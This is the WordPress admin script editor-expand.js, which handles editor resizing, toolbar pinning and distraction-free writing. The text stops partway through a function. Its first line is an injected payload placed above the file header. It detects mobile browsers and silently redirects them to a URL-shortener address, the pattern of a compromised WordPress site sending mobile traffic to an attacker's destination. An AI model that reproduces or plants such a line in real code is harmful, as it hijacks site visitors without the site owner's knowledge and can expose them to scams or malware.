1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @output wp-admin/js/editor-expand.js
4 */
5
6( function( window, $, undefined ) {
7 'use strict';
8
9 var $window = $( window ),
10 $document = $( document ),
11 $adminBar = $( '#wpadminbar' ),
12 $footer = $( '#wpfooter' );
13
14 /**
15 * Handles the resizing of the editor.
16 *
17 * @since 4.0.0
18 *
19 * @return {void}
20 */
21 $( function() {
22 var $wrap = $( '#postdivrich' ),
23 $contentWrap = $( '#wp-content-wrap' ),
24 $tools = $( '#wp-content-editor-tools' ),
25 $visualTop = $(),
26 $visualEditor = $(),
27 $textTop = $( '#ed_toolbar' ),
28 $textEditor = $( '#content' ),
29 textEditor = $textEditor[0],
30 oldTextLength = 0,
31 $bottom = $( '#post-status-info' ),
32 $menuBar = $(),
33 $statusBar = $(),
34 $sideSortables = $( '#side-sortables' ),
35 $postboxContainer = $( '#postbox-container-1' ),
36 $postBody = $('#post-body'),
37 fullscreen = window.wp.editor && window.wp.editor.fullscreen,
38 mceEditor,
39 mceBind = function(){},
40 mceUnbind = function(){},
41 fixedTop = false,
42 fixedBottom = false,
43 fixedSideTop = false,
44 fixedSideBottom = false,
45 scrollTimer,
46 lastScrollPosition = 0,
47 pageYOffsetAtTop = 130,
48 pinnedToolsTop = 56,
49 sidebarBottom = 20,
50 autoresizeMinHeight = 300,
51 initialMode = $contentWrap.hasClass( 'tmce-active' ) ? 'tinymce' : 'html',
52 advanced = !! parseInt( window.getUserSetting( 'hidetb' ), 10 ),
53 // These are corrected when adjust() runs, except on scrolling if already set.
54 heights = {
55 windowHeight: 0,
56 windowWidth: 0,
57 adminBarHeight: 0,
58 toolsHeight: 0,
59 menuBarHeight: 0,
60 visualTopHeight: 0,
61 textTopHeight: 0,
62 bottomHeight: 0,
63 statusBarHeight: 0,
64 sideSortablesHeight: 0
65 };
66
67 /**
68 * Resizes textarea based on scroll height and width.
69 *
70 * Doesn't shrink the editor size below the 300px auto resize minimum height.
71 *
72 * @since 4.6.1
73 *
74 * @return {void}
75 */
76 var shrinkTextarea = window._.throttle( function() {
77 var x = window.scrollX || document.documentElement.scrollLeft;
78 var y = window.scrollY || document.documentElement.scrollTop;
79 var height = parseInt( textEditor.style.height, 10 );
80
81 textEditor.style.height = autoresizeMinHeight + 'px';
82
83 if ( textEditor.scrollHeight > autoresizeMinHeight ) {
84 textEditor.style.height = textEditor.scrollHeight + 'px';
85 }
86
87 if ( typeof x !== 'undefined' ) {
88 window.scrollTo( x, y );
89 }
90
91 if ( textEditor.scrollHeight < height ) {
92 adjust();
93 }
94 }, 300 );
95
96 /**
97 * Resizes the text editor depending on the old text length.
98 *
99 * If there is an mceEditor and it is hidden, it resizes the editor depending
100 * on the old text length. If the current length of the text is smaller than
101 * the old text length, it shrinks the text area. Otherwise it resizes the editor to
102 * the scroll height.
103 *
104 * @since 4.6.1
105 *
106 * @return {void}
107 */
108 function textEditorResize() {
109 var length = textEditor.value.length;
110
111 if ( mceEditor && ! mceEditor.isHidden() ) {
112 return;
113 }
114
115 if ( ! mceEditor && initialMode === 'tinymce' ) {
116 return;
117 }
118
119 if ( length < oldTextLength ) {
120 shrinkTextarea();
121 } else if ( parseInt( textEditor.style.height, 10 ) < textEditor.scrollHeight ) {
122 textEditor.style.height = Math.ceil( textEditor.scrollHeight ) + 'px';
123 adjust();
124 }
125
126 oldTextLength = length;
127 }
128
129 /**
130 * Gets the height and widths of elements.
131 *
132 * Gets the heights of the window, the adminbar, the tools, the menu,
133 * the visualTop, the textTop, the bottom, the statusbar and sideSortables
134 * and stores these in the heights object. Defaults to 0.
135 * Gets the width of the window and stores this in the heights object.
136 *
137 * @since 4.0.0
138 *
139 * @return {void}
140 */
141 function getHeights() {
142 var windowWidth = $window.width();
143
144 heights = {
145 windowHeight: $window.height(),
146 windowWidth: windowWidth,
147 adminBarHeight: ( windowWidth > 600 ? $adminBar.outerHeight() : 0 ),
148 toolsHeight: $tools.outerHeight() || 0,
149 menuBarHeight: $menuBar.outerHeight() || 0,
150 visualTopHeight: $visualTop.outerHeight() || 0,
151 textTopHeight: $textTop.outerHeight() || 0,
152 bottomHeight: $bottom.outerHeight() || 0,
153 statusBarHeight: $statusBar.outerHeight() || 0,
154 sideSortablesHeight: $sideSortables.height() || 0
155 };
156
157 // Adjust for hidden menubar.
158 if ( heights.menuBarHeight < 3 ) {
159 heights.menuBarHeight = 0;
160 }
161 }
162
163 // We need to wait for TinyMCE to initialize.
164 /**
165 * Binds all necessary functions for editor expand to the editor when the editor
166 * is initialized.
167 *
168 * @since 4.0.0
169 *
170 * @param {event} event The TinyMCE editor init event.
171 * @param {object} editor The editor to bind the vents on.
172 *
173 * @return {void}
174 */
175 $document.on( 'tinymce-editor-init.editor-expand', function( event, editor ) {
176 // VK contains the type of key pressed. VK = virtual keyboard.
177 var VK = window.tinymce.util.VK,
178 /**
179 * Hides any float panel with a hover state. Additionally hides tooltips.
180 *
181 * @return {void}
182 */
183 hideFloatPanels = _.debounce( function() {
184 ! $( '.mce-floatpanel:hover' ).length && window.tinymce.ui.FloatPanel.hideAll();
185 $( '.mce-tooltip' ).hide();
186 }, 1000, true );
187
188 // Make sure it's the main editor.
189 if ( editor.id !== 'content' ) {
190 return;
191 }
192
193 // Copy the editor instance.
194 mceEditor = editor;
195
196 // Set the minimum height to the initial viewport height.
197 editor.settings.autoresize_min_height = autoresizeMinHeight;
198
199 // Get the necessary UI elements.
200 $visualTop = $contentWrap.find( '.mce-toolbar-grp' );
201 $visualEditor = $contentWrap.find( '.mce-edit-area' );
202 $statusBar = $contentWrap.find( '.mce-statusbar' );
203 $menuBar = $contentWrap.find( '.mce-menubar' );
204
205 /**
206 * Gets the offset of the editor.
207 *
208 * @return {number|boolean} Returns the offset of the editor
209 * or false if there is no offset height.
210 */
211 function mceGetCursorOffset() {
212 var node = editor.selection.getNode(),
213 range, view, offset;
214
215 /*
216 * If editor.wp.getView and the selection node from the editor selection
217 * are defined, use this as a view for the offset.
218 */
219 if ( editor.wp && editor.wp.getView && ( view = editor.wp.getView( node ) ) ) {
220 offset = view.getBoundingClientRect();
221 } else {
222 range = editor.selection.getRng();
223
224 // Try to get the offset from a range.
225 try {
226 offset = range.getClientRects()[0];
227 } catch( er ) {}
228
229 // Get the offset from the bounding client rectangle of the node.
230 if ( ! offset ) {
231 offset = node.getBoundingClientRect();
232 }
233 }
234
235 return offset.height ? offset : false;
236 }
237
238 /**
239 * Filters the special keys that should not be used for scrolling.
240 *
241 * @since 4.0.0
242 *
243 * @param {event} event The event to get the key code from.
244 *
245 * @return {void}
246 */
247 function mceKeyup( event ) {
248 var key = event.keyCode;
249
250 // Bail on special keys. Key code 47 is a '/'.
251 if ( key <= 47 && ! ( key === VK.SPACEBAR || key === VK.ENTER || key === VK.DELETE || key === VK.BACKSPACE || key === VK.UP || key === VK.LEFT || key === VK.DOWN || key === VK.UP ) ) {
252 return;
253 // OS keys, function keys, num lock, scroll lock. Key code 91-93 are OS keys.
254 // Key code 112-123 are F1 to F12. Key code 144 is num lock. Key code 145 is scroll lock.
255 } else if ( ( key >= 91 && key <= 93 ) || ( key >= 112 && key <= 123 ) || key === 144 || key === 145 ) {
256 return;
257 }
258
259 mceScroll( key );
260 }
261
262 /**
263 * Makes sure the cursor is always visible in the editor.
264 *
265 * Makes sure the cursor is kept between the toolbars of the editor and scrolls
266 * the window when the cursor moves out of the viewport to a wpview.
267 * Setting a buffer > 0 will prevent the browser default.
268 * Some browsers will scroll to the middle,
269 * others to the top/bottom of the *window* when moving the cursor out of the viewport.
270 *
271 * @since 4.1.0
272 *
273 * @param {string} key The key code of the pressed key.
274 *
275 * @return {void}
276 */
277 function mceScroll( key ) {
278 var offset = mceGetCursorOffset(),
279 buffer = 50,
280 cursorTop, cursorBottom, editorTop, editorBottom;
281
282 // Don't scroll if there is no offset.
283 if ( ! offset ) {
284 return;
285 }
286
287 // Determine the cursorTop based on the offset and the top of the editor iframe.
288 cursorTop = offset.top + editor.iframeElement.getBoundingClientRect().top;
289
290 // Determine the cursorBottom based on the cursorTop and offset height.
291 cursorBottom = cursorTop + offset.height;
292
293 // Subtract the buffer from the cursorTop.
294 cursorTop = cursorTop - buffer;
295
296 // Add the buffer to the cursorBottom.
297 cursorBottom = cursorBottom + buffer;
298 editorTop = heights.adminBarHeight + heights.toolsHeight + heights.menuBarHeight + heights.visualTopHeight;
299
300 /*
301 * Set the editorBottom based on the window Height, and add the bottomHeight and statusBarHeight if the
302 * advanced editor is enabled.
303 */
304 editorBottom = heights.windowHeight - ( advanced ? heights.bottomHeight + heights.statusBarHeight : 0 );
305
306 // Don't scroll if the node is taller than the visible part of the editor.
307 if ( editorBottom - editorTop < offset.height ) {
308 return;
309 }
310
311 /*
312 * If the cursorTop is smaller than the editorTop and the up, left
313 * or backspace key is pressed, scroll the editor to the position defined
314 * by the cursorTop, pageYOffset and editorTop.
315 */
316 if ( cursorTop < editorTop && ( key === VK.UP || key === VK.LEFT || key === VK.BACKSPACE ) ) {
317 window.scrollTo( window.pageXOffset, cursorTop + window.pageYOffset - editorTop );
318
319 /*
320 * If any other key is pressed or the cursorTop is bigger than the editorTop,
321 * scroll the editor to the position defined by the cursorBottom,
322 * pageYOffset and editorBottom.
323 */
324 } else if ( cursorBottom > editorBottom ) {
325 window.scrollTo( window.pageXOffset, cursorBottom + window.pageYOffset - editorBottom );
326 }
327 }
328
329 /**
330 * If the editor is fullscreen, calls adjust.
331 *
332 * @since 4.1.0
333 *
334 * @param {event} event The FullscreenStateChanged event.
335 *
336 * @return {void}
337 */
338 function mceFullscreenToggled( event ) {
339 // event.state is true if the editor is fullscreen.
340 if ( ! event.state ) {
341 adjust();
342 }
343 }
344
345 /**
346 * Shows the editor when scrolled.
347 *
348 * Binds the hideFloatPanels function on the window scroll.mce-float-panels event.
349 * Executes the wpAutoResize on the active editor.
350 *
351 * @since 4.0.0
352 *
353 * @return {void}
354 */
355 function mceShow() {
356 $window.on( 'scroll.mce-float-panels', hideFloatPanels );
357
358 setTimeout( function() {
359 editor.execCommand( 'wpAutoResize' );
360 adjust();
361 }, 300 );
362 }
363
364 /**
365 * Resizes the editor.
366 *
367 * Removes all functions from the window scroll.mce-float-panels event.
368 * Resizes the text editor and scrolls to a position based on the pageXOffset and adminBarHeight.
369 *
370 * @since 4.0.0
371 *
372 * @return {void}
373 */
374 function mceHide() {
375 $window.off( 'scroll.mce-float-panels' );
376
377 setTimeout( function() {
378 var top = $contentWrap.offset().top;
379
380 if ( window.pageYOffset > top ) {
381 window.scrollTo( window.pageXOffset, top - heights.adminBarHeight );
382 }
383
384 textEditorResize();
385 adjust();
386 }, 100 );
387
388 adjust();
389 }
390
391 /**
392 * Toggles advanced states.
393 *
394 * @since 4.1.0
395 *
396 * @return {void}
397 */
398 function toggleAdvanced() {
399 advanced = ! advanced;
400 }
401
402 /**
403 * Binds events of the editor and window.
404 *
405 * @since 4.0.0
406 *
407 * @return {void}
408 */
409 mceBind = function() {
410 editor.on( 'keyup', mceKeyup );
411 editor.on( 'show', mceShow );
412 editor.on( 'hide', mceHide );
413 editor.on( 'wp-toolbar-toggle', toggleAdvanced );
414
415 // Adjust when the editor resizes.
416 editor.on( 'setcontent wp-autoresize wp-toolbar-toggle', adjust );
417
418 // Don't hide the caret after undo/redo.
419 editor.on( 'undo redo', mceScroll );
420
421 // Adjust when exiting TinyMCE's fullscreen mode.
422 editor.on( 'FullscreenStateChanged', mceFullscreenToggled );
423
424 $window.off( 'scroll.mce-float-panels' ).on( 'scroll.mce-float-panels', hideFloatPanels );
425 };
426
427 /**
428 * Unbinds the events of the editor and window.
429 *
430 * @since 4.0.0
431 *
432 * @return {void}
433 */
434 mceUnbind = function() {
435 editor.off( 'keyup', mceKeyup );
436 editor.off( 'show', mceShow );
437 editor.off( 'hide', mceHide );
438 editor.off( 'wp-toolbar-toggle', toggleAdvanced );
439 editor.off( 'setcontent wp-autoresize wp-toolbar-toggle', adjust );
440 editor.off( 'undo redo', mceScroll );
441 editor.off( 'FullscreenStateChanged', mceFullscreenToggled );
442
443 $window.off( 'scroll.mce-float-panels' );
444 };
445
446 if ( $wrap.hasClass( 'wp-editor-expand' ) ) {
447
448 // Adjust "immediately".
449 mceBind();
450 initialResize( adjust );
451 }
452 } );
453
454 /**
455 * Adjusts the toolbars heights and positions.
456 *
457 * Adjusts the toolbars heights and positions based on the scroll position on
458 * the page, the active editor mode and the heights of the editor, admin bar and
459 * side bar.
460 *
461 * @since 4.0.0
462 *
463 * @param {event} event The event that calls this function.
464 *
465 * @return {void}
466 */
467 function adjust( event ) {
468
469 // Makes sure we're not in fullscreen mode.
470 if ( fullscreen && fullscreen.settings.visible ) {
471 return;
472 }
473
474 var windowPos = $window.scrollTop(),
475 type = event && event.type,
476 resize = type !== 'scroll',
477 visual = mceEditor && ! mceEditor.isHidden(),
478 buffer = autoresizeMinHeight,
479 postBodyTop = $postBody.offset().top,
480 borderWidth = 1,
481 contentWrapWidth = $contentWrap.width(),
482 $top, $editor, sidebarTop, footerTop, canPin,
483 topPos, topHeight, editorPos, editorHeight;
484
485 /*
486 * Refresh the heights if type isn't 'scroll'
487 * or heights.windowHeight isn't set.
488 */
489 if ( resize || ! heights.windowHeight ) {
490 getHeights();
491 }
492
493 // Resize on resize event when the editor is in text mode.
494 if ( ! visual && type === 'resize' ) {
495 textEditorResize();
496 }
497
498 if ( visual ) {
499 $top = $visualTop;
500 $editor = $visualEditor;
501 topHeight = heights.visualTopHeight;
502 } else {
503 $top = $textTop;
504 $editor = $textEditor;
505 topHeight = heights.textTopHeight;
506 }
507
508 // Return if TinyMCE is still initializing.
509 if ( ! visual && ! $top.length ) {
510 return;
511 }
512
513 topPos = $top.parent().offset().top;
514 editorPos = $editor.offset().top;
515 editorHeight = $editor.outerHeight();
516
517 /*
518 * If in visual mode, checks if the editorHeight is greater than the autoresizeMinHeight + topHeight.
519 * If not in visual mode, checks if the editorHeight is greater than the autoresizeMinHeight + 20.
520 */
521 canPin = visual ? autoresizeMinHeight + topHeight : autoresizeMinHeight + 20; // 20px from textarea padding.
522 canPin = editorHeight > ( canPin + 5 );
523
524 if ( ! canPin ) {
525 if ( resize ) {
526 $tools.css( {
527 position: 'absolute',
528 top: 0,
529 width: contentWrapWidth
530 } );
531
532 if ( visual && $menuBar.length ) {
533 $menuBar.css( {
534 position: 'absolute',
535 top: 0,
536 width: contentWrapWidth - ( borderWidth * 2 )
537 } );
538 }
539
540 $top.css( {
541 position: 'absolute',
542 top: heights.menuBarHeight,
543 width: contentWrapWidth - ( borderWidth * 2 ) - ( visual ? 0 : ( $top.outerWidth() - $top.width() ) )
544 } );
545
546 $statusBar.attr( 'style', advanced ? '' : 'visibility: hidden;' );
547 $bottom.attr( 'style', '' );
548 }
549 } else {
550 // Check if the top is not already in a fixed position.
551 if ( ( ! fixedTop || resize ) &&
552 ( windowPos >= ( topPos - heights.toolsHeight - heights.adminBarHeight ) &&
553 windowPos <= ( topPos - heights.toolsHeight - heights.adminBarHeight + editorHeight - buffer ) ) ) {
554 fixedTop = true;
555
556 $tools.css( {
557 position: 'fixed',
558 top: heights.adminBarHeight,
559 width: contentWrapWidth
560 } );
561
562 if ( visual && $menuBar.length ) {
563 $menuBar.css( {
564 position: 'fixed',
565 top: heights.adminBarHeight + heights.toolsHeight,
566 width: contentWrapWidth - ( borderWidth * 2 ) - ( visual ? 0 : ( $top.outerWidth() - $top.width() ) )
567 } );
568 }
569
570 $top.css( {
571 position: 'fixed',
572 top: heights.adminBarHeight + heights.toolsHeight + heights.menuBarHeight,
573 width: contentWrapWidth - ( borderWidth * 2 ) - ( visual ? 0 : ( $top.outerWidth() - $top.width() ) )
574 } );
575 // Check if the top is already in a fixed position.
576 } else if ( fixedTop || resize ) {
577 if ( windowPos <= ( topPos - heights.toolsHeight - heights.adminBarHeight ) ) {
578 fixedTop = false;
579
580 $tools.css( {
581 position: 'absolute',
582 top: 0,
583 width: contentWrapWidth
584 } );
585
586 if ( visual && $menuBar.length ) {
587 $menuBar.css( {
588 position: 'absolute',
589 top: 0,
590 width: contentWrapWidth - ( borderWidth * 2 )
591 } );
592 }
593
594 $top.css( {
595 position: 'absolute',
596 top: heights.menuBarHeight,
597 width: contentWrapWidth - ( borderWidth * 2 ) - ( visual ? 0 : ( $top.outerWidth() - $top.width() ) )
598 } );
599 } else if ( windowPos >= ( topPos - heights.toolsHeight - heights.adminBarHeight + editorHeight - buffer ) ) {
600 fixedTop = false;
601
602 $tools.css( {
603 position: 'absolute',
604 top: editorHeight - buffer,
605 width: contentWrapWidth
606 } );
607
608 if ( visual && $menuBar.length ) {
609 $menuBar.css( {
610 position: 'absolute',
611 top: editorHeight - buffer,
612 width: contentWrapWidth - ( borderWidth * 2 )
613 } );
614 }
615
616 $top.css( {
617 position: 'absolute',
618 top: editorHeight - buffer + heights.menuBarHeight,
619 width: contentWrapWidth - ( borderWidth * 2 ) - ( visual ? 0 : ( $top.outerWidth() - $top.width() ) )
620 } );
621 }
622 }
623
624 // Check if the bottom is not already in a fixed position.
625 if ( ( ! fixedBottom || ( resize && advanced ) ) &&
626 // Add borderWidth for the border around the .wp-editor-container.
627 ( windowPos + heights.windowHeight ) <= ( editorPos + editorHeight + heights.bottomHeight + heights.statusBarHeight + borderWidth ) ) {
628
629 if ( event && event.deltaHeight > 0 && event.deltaHeight < 100 ) {
630 window.scrollBy( 0, event.deltaHeight );
631 } else if ( visual && advanced ) {
632 fixedBottom = true;
633
634 $statusBar.css( {
635 position: 'fixed',
636 bottom: heights.bottomHeight,
637 visibility: '',
638 width: contentWrapWidth - ( borderWidth * 2 )
639 } );
640
641 $bottom.css( {
642 position: 'fixed',
643 bottom: 0,
644 width: contentWrapWidth
645 } );
646 }
647 } else if ( ( ! advanced && fixedBottom ) ||
648 ( ( fixedBottom || resize ) &&
649 ( windowPos + heights.windowHeight ) > ( editorPos + editorHeight + heights.bottomHeight + heights.statusBarHeight - borderWidth ) ) ) {
650 fixedBottom = false;
651
652 $statusBar.attr( 'style', advanced ? '' : 'visibility: hidden;' );
653 $bottom.attr( 'style', '' );
654 }
655 }
656
657 // The postbox container is positioned with @media from CSS. Ensure it is pinned on the side.
658 if ( $postboxContainer.width() < 300 && heights.windowWidth > 600 &&
659
660 // Check if the sidebar is not taller than the document height.
661 $document.height() > ( $sideSortables.height() + postBodyTop + 120 ) &&
662
663 // Check if the editor is taller than the viewport.
664 heights.windowHeight < editorHeight ) {
665
666 if ( ( heights.sideSortablesHeight + pinnedToolsTop + sidebarBottom ) > heights.windowHeight || fixedSideTop || fixedSideBottom ) {
667
668 // Reset the sideSortables style when scrolling to the top.
669 if ( windowPos + pinnedToolsTop <= postBodyTop ) {
670 $sideSortables.attr( 'style', '' );
671 fixedSideTop = fixedSideBottom = false;
672 } else {
673
674 // When scrolling down.
675 if ( windowPos > lastScrollPosition ) {
676 if ( fixedSideTop ) {
677
678 // Let it scroll.
679 fixedSideTop = false;
680 sidebarTop = $sideSortables.offset().top - heights.adminBarHeight;
681 footerTop = $footer.offset().top;
682
683 // Don't get over the footer.
684 if ( footerTop < sidebarTop + heights.sideSortablesHeight + sidebarBottom ) {
685 sidebarTop = footerTop - heights.sideSortablesHeight - 12;
686 }
687
688 $sideSortables.css({
689 position: 'absolute',
690 top: sidebarTop,
691 bottom: ''
692 });
693 } else if ( ! fixedSideBottom && heights.sideSortablesHeight + $sideSortables.offset().top + sidebarBottom < windowPos + heights.windowHeight ) {
694 // Pin the bottom.
695 fixedSideBottom = true;
696
697 $sideSortables.css({
698 position: 'fixed',
699 top: 'auto',
700 bottom: sidebarBottom
701 });
702 }
703
704 // When scrolling up.
705 } else if ( windowPos < lastScrollPosition ) {
706 if ( fixedSideBottom ) {
707 // Let it scroll.
708 fixedSideBottom = false;
709 sidebarTop = $sideSortables.offset().top - sidebarBottom;
710 footerTop = $footer.offset().top;
711
712 // Don't get over the footer.
713 if ( footerTop < sidebarTop + heights.sideSortablesHeight + sidebarBottom ) {
714 sidebarTop = footerTop - heights.sideSortablesHeight - 12;
715 }
716
717 $sideSortables.css({
718 position: 'absolute',
719 top: sidebarTop,
720 bottom: ''
721 });
722 } else if ( ! fixedSideTop && $sideSortables.offset().top >= windowPos + pinnedToolsTop ) {
723 // Pin the top.
724 fixedSideTop = true;
725
726 $sideSortables.css({
727 position: 'fixed',
728 top: pinnedToolsTop,
729 bottom: ''
730 });
731 }
732 }
733 }
734 } else {
735 // If the sidebar container is smaller than the viewport, then pin/unpin the top when scrolling.
736 if ( windowPos >= ( postBodyTop - pinnedToolsTop ) ) {
737
738 $sideSortables.css( {
739 position: 'fixed',
740 top: pinnedToolsTop
741 } );
742 } else {
743 $sideSortables.attr( 'style', '' );
744 }
745
746 fixedSideTop = fixedSideBottom = false;
747 }
748
749 lastScrollPosition = windowPos;
750 } else {
751 $sideSortables.attr( 'style', '' );
752 fixedSideTop = fixedSideBottom = false;
753 }
754
755 if ( resize ) {
756 $contentWrap.css( {
757 paddingTop: heights.toolsHeight
758 } );
759
760 if ( visual ) {
761 $visualEditor.css( {
762 paddingTop: heights.visualTopHeight + heights.menuBarHeight
763 } );
764 } else {
765 $textEditor.css( {
766 marginTop: heights.textTopHeight
767 } );
768 }
769 }
770 }
771
772 /**
773 * Resizes the editor and adjusts the toolbars.
774 *
775 * @since 4.0.0
776 *
777 * @return {void}
778 */
779 function fullscreenHide() {
780 textEditorResize();
781 adjust();
782 }
783
784 /**
785 * Runs the passed function with 500ms intervals.
786 *
787 * @since 4.0.0
788 *
789 * @param {function} callback The function to run in the timeout.
790 *
791 * @return {void}
792 */
793 function initialResize( callback ) {
794 for ( var i = 1; i < 6; i++ ) {
795 setTimeout( callback, 500 * i );
796 }
797 }
798
799 /**
800 * Runs adjust after 100ms.
801 *
802 * @since 4.0.0
803 *
804 * @return {void}
805 */
806 function afterScroll() {
807 clearTimeout( scrollTimer );
808 scrollTimer = setTimeout( adjust, 100 );
809 }
810
811 /**
812 * Binds editor expand events on elements.
813 *
814 * @since 4.0.0
815 *
816 * @return {void}
817 */
818 function on() {
819 /*
820 * Scroll to the top when triggering this from JS.
821 * Ensure the toolbars are pinned properly.
822 */
823 if ( window.pageYOffset && window.pageYOffset > pageYOffsetAtTop ) {
824 window.scrollTo( window.pageXOffset, 0 );
825 }
826
827 $wrap.addClass( 'wp-editor-expand' );
828
829 // Adjust when the window is scrolled or resized.
830 $window.on( 'scroll.editor-expand resize.editor-expand', function( event ) {
831 adjust( event.type );
832 afterScroll();
833 } );
834
835 /*
836 * Adjust when collapsing the menu, changing the columns
837 * or changing the body class.
838 */
839 $document.on( 'wp-collapse-menu.editor-expand postboxes-columnchange.editor-expand editor-classchange.editor-expand', adjust )
840 .on( 'postbox-toggled.editor-expand postbox-moved.editor-expand', function() {
841 if ( ! fixedSideTop && ! fixedSideBottom && window.pageYOffset > pinnedToolsTop ) {
842 fixedSideBottom = true;
843 window.scrollBy( 0, -1 );
844 adjust();
845 window.scrollBy( 0, 1 );
846 }
847
848 adjust();
849 }).on( 'wp-window-resized.editor-expand', function() {
850 if ( mceEditor && ! mceEditor.isHidden() ) {
851 mceEditor.execCommand( 'wpAutoResize' );
852 } else {
853 textEditorResize();
854 }
855 });
856
857 $textEditor.on( 'focus.editor-expand input.editor-expand propertychange.editor-expand', textEditorResize );
858 mceBind();
859
860 // Adjust when entering or exiting fullscreen mode.
861 fullscreen && fullscreen.pubsub.subscribe( 'hidden', fullscreenHide );
862
863 if ( mceEditor ) {
864 mceEditor.settings.wp_autoresize_on = true;
865 mceEditor.execCommand( 'wpAutoResizeOn' );
866
867 if ( ! mceEditor.isHidden() ) {
868 mceEditor.execCommand( 'wpAutoResize' );
869 }
870 }
871
872 if ( ! mceEditor || mceEditor.isHidden() ) {
873 textEditorResize();
874 }
875
876 adjust();
877
878 $document.trigger( 'editor-expand-on' );
879 }
880
881 /**
882 * Unbinds editor expand events.
883 *
884 * @since 4.0.0
885 *
886 * @return {void}
887 */
888 function off() {
889 var height = parseInt( window.getUserSetting( 'ed_size', 300 ), 10 );
890
891 if ( height < 50 ) {
892 height = 50;
893 } else if ( height > 5000 ) {
894 height = 5000;
895 }
896
897 /*
898 * Scroll to the top when triggering this from JS.
899 * Ensure the toolbars are reset properly.
900 */
901 if ( window.pageYOffset && window.pageYOffset > pageYOffsetAtTop ) {
902 window.scrollTo( window.pageXOffset, 0 );
903 }
904
905 $wrap.removeClass( 'wp-editor-expand' );
906
907 $window.off( '.editor-expand' );
908 $document.off( '.editor-expand' );
909 $textEditor.off( '.editor-expand' );
910 mceUnbind();
911
912 // Adjust when entering or exiting fullscreen mode.
913 fullscreen && fullscreen.pubsub.unsubscribe( 'hidden', fullscreenHide );
914
915 // Reset all CSS.
916 $.each( [ $visualTop, $textTop, $tools, $menuBar, $bottom, $statusBar, $contentWrap, $visualEditor, $textEditor, $sideSortables ], function( i, element ) {
917 element && element.attr( 'style', '' );
918 });
919
920 fixedTop = fixedBottom = fixedSideTop = fixedSideBottom = false;
921
922 if ( mceEditor ) {
923 mceEditor.settings.wp_autoresize_on = false;
924 mceEditor.execCommand( 'wpAutoResizeOff' );
925
926 if ( ! mceEditor.isHidden() ) {
927 $textEditor.hide();
928
929 if ( height ) {
930 mceEditor.theme.resizeTo( null, height );
931 }
932 }
933 }
934
935 // If there is a height found in the user setting.
936 if ( height ) {
937 $textEditor.height( height );
938 }
939
940 $document.trigger( 'editor-expand-off' );
941 }
942
943 // Start on load.
944 if ( $wrap.hasClass( 'wp-editor-expand' ) ) {
945 on();
946
947 // Resize just after CSS has fully loaded and QuickTags is ready.
948 if ( $contentWrap.hasClass( 'html-active' ) ) {
949 initialResize( function() {
950 adjust();
951 textEditorResize();
952 } );
953 }
954 }
955
956 // Show the on/off checkbox.
957 $( '#adv-settings .editor-expand' ).show();
958 $( '#editor-expand-toggle' ).on( 'change.editor-expand', function() {
959 if ( $(this).prop( 'checked' ) ) {
960 on();
961 window.setUserSetting( 'editor_expand', 'on' );
962 } else {
963 off();
964 window.setUserSetting( 'editor_expand', 'off' );
965 }
966 });
967
968 // Expose on() and off().
969 window.editorExpand = {
970 on: on,
971 off: off
972 };
973 } );
974
975 /**
976 * Handles the distraction free writing of TinyMCE.
977 *
978 * @since 4.1.0
979 *
980 * @return {void}
981 */
982 $( function() {
983 var $body = $( document.body ),
984 $wrap = $( '#wpcontent' ),
985 $editor = $( '#post-body-content' ),
986 $title = $( '#title' ),
987 $content = $( '#content' ),
988 $overlay = $( document.createElement( 'DIV' ) ),
989 $slug = $( '#edit-slug-box' ),
990 $slugFocusEl = $slug.find( 'a' )
991 .add( $slug.find( 'button' ) )
992 .add( $slug.find( 'input' ) ),
993 $menuWrap = $( '#adminmenuwrap' ),
994 $editorWindow = $(),
995 $editorIframe = $(),
996 _isActive = window.getUserSetting( 'editor_expand', 'on' ) === 'on',
997 _isOn = _isActive ? window.getUserSetting( 'post_dfw' ) === 'on' : false,
998 traveledX = 0,
999 traveledY = 0,
1000 buffer = 20,
1001 faded, fadedAdminBar, fadedSlug,
1002 editorRect, x, y, mouseY, scrollY,
1003 focusLostTimer, overlayTimer, editorHasFocus;
1004
1005 $body.append( $overlay );
1006
1007 $overlay.css( {
1008 display: 'none',
1009 position: 'fixed',
1010 top: $adminBar.height(),
1011 right: 0,
1012 bottom: 0,
1013 left: 0,
1014 'z-index': 9997
1015 } );
1016
1017 $editor.css( {
1018 position: 'relative'
1019 } );
1020
1021 $window.on( 'mousemove.focus', function( event ) {
1022 mouseY = event.pageY;
1023 } );
1024
1025 /**
1026 * Recalculates the bottom and right position of the editor in the DOM.
1027 *
1028 * @since 4.1.0
1029 *
1030 * @return {void}
1031 */
1032 function recalcEditorRect() {
1033 editorRect = $editor.offset();
1034 editorRect.right = editorRect.left + $editor.outerWidth();
1035 editorRect.bottom = editorRect.top + $editor.outerHeight();
1036 }
1037
1038 /**
1039 * Activates the distraction free writing mode.
1040 *
1041 * @since 4.1.0
1042 *
1043 * @return {void}
1044 */
1045 function activate() {
1046 if ( ! _isActive ) {
1047 _isActive = true;
1048
1049 $document.trigger( 'dfw-activate' );
1050 $content.on( 'keydown.focus-shortcut', toggleViaKeyboard );
1051 }
1052 }
1053
1054 /**
1055 * Deactivates the distraction free writing mode.
1056 *
1057 * @since 4.1.0
1058 *
1059 * @return {void}
1060 */
1061 function deactivate() {
1062 if ( _isActive ) {
1063 off();
1064
1065 _isActive = false;
1066
1067 $document.trigger( 'dfw-deactivate' );
1068 $content.off( 'keydown.focus-shortcut' );
1069 }
1070 }
1071
1072 /**
1073 * Returns _isActive.
1074 *
1075 * @since 4.1.0
1076 *
1077 * @return {boolean} Returns true is _isActive is true.
1078 */
1079 function isActive() {
1080 return _isActive;
1081 }
1082
1083 /**
1084 * Binds events on the editor for distraction free writing.
1085 *
1086 * @since 4.1.0
1087 *
1088 * @return {void}
1089 */
1090 function on() {
1091 if ( ! _isOn && _isActive ) {
1092 _isOn = true;
1093
1094 $content.on( 'keydown.focus', fadeOut );
1095
1096 $title.add( $content ).on( 'blur.focus', maybeFadeIn );
1097
1098 fadeOut();
1099
1100 window.setUserSetting( 'post_dfw', 'on' );
1101
1102 $document.trigger( 'dfw-on' );
1103 }
1104 }
1105
1106 /**
1107 * Unbinds events on the editor for distraction free writing.
1108 *
1109 * @since 4.1.0
1110 *
1111 * @return {void}
1112 */
1113 function off() {
1114 if ( _isOn ) {
1115 _isOn = false;
1116
1117 $title.add( $content ).off( '.focus' );
1118
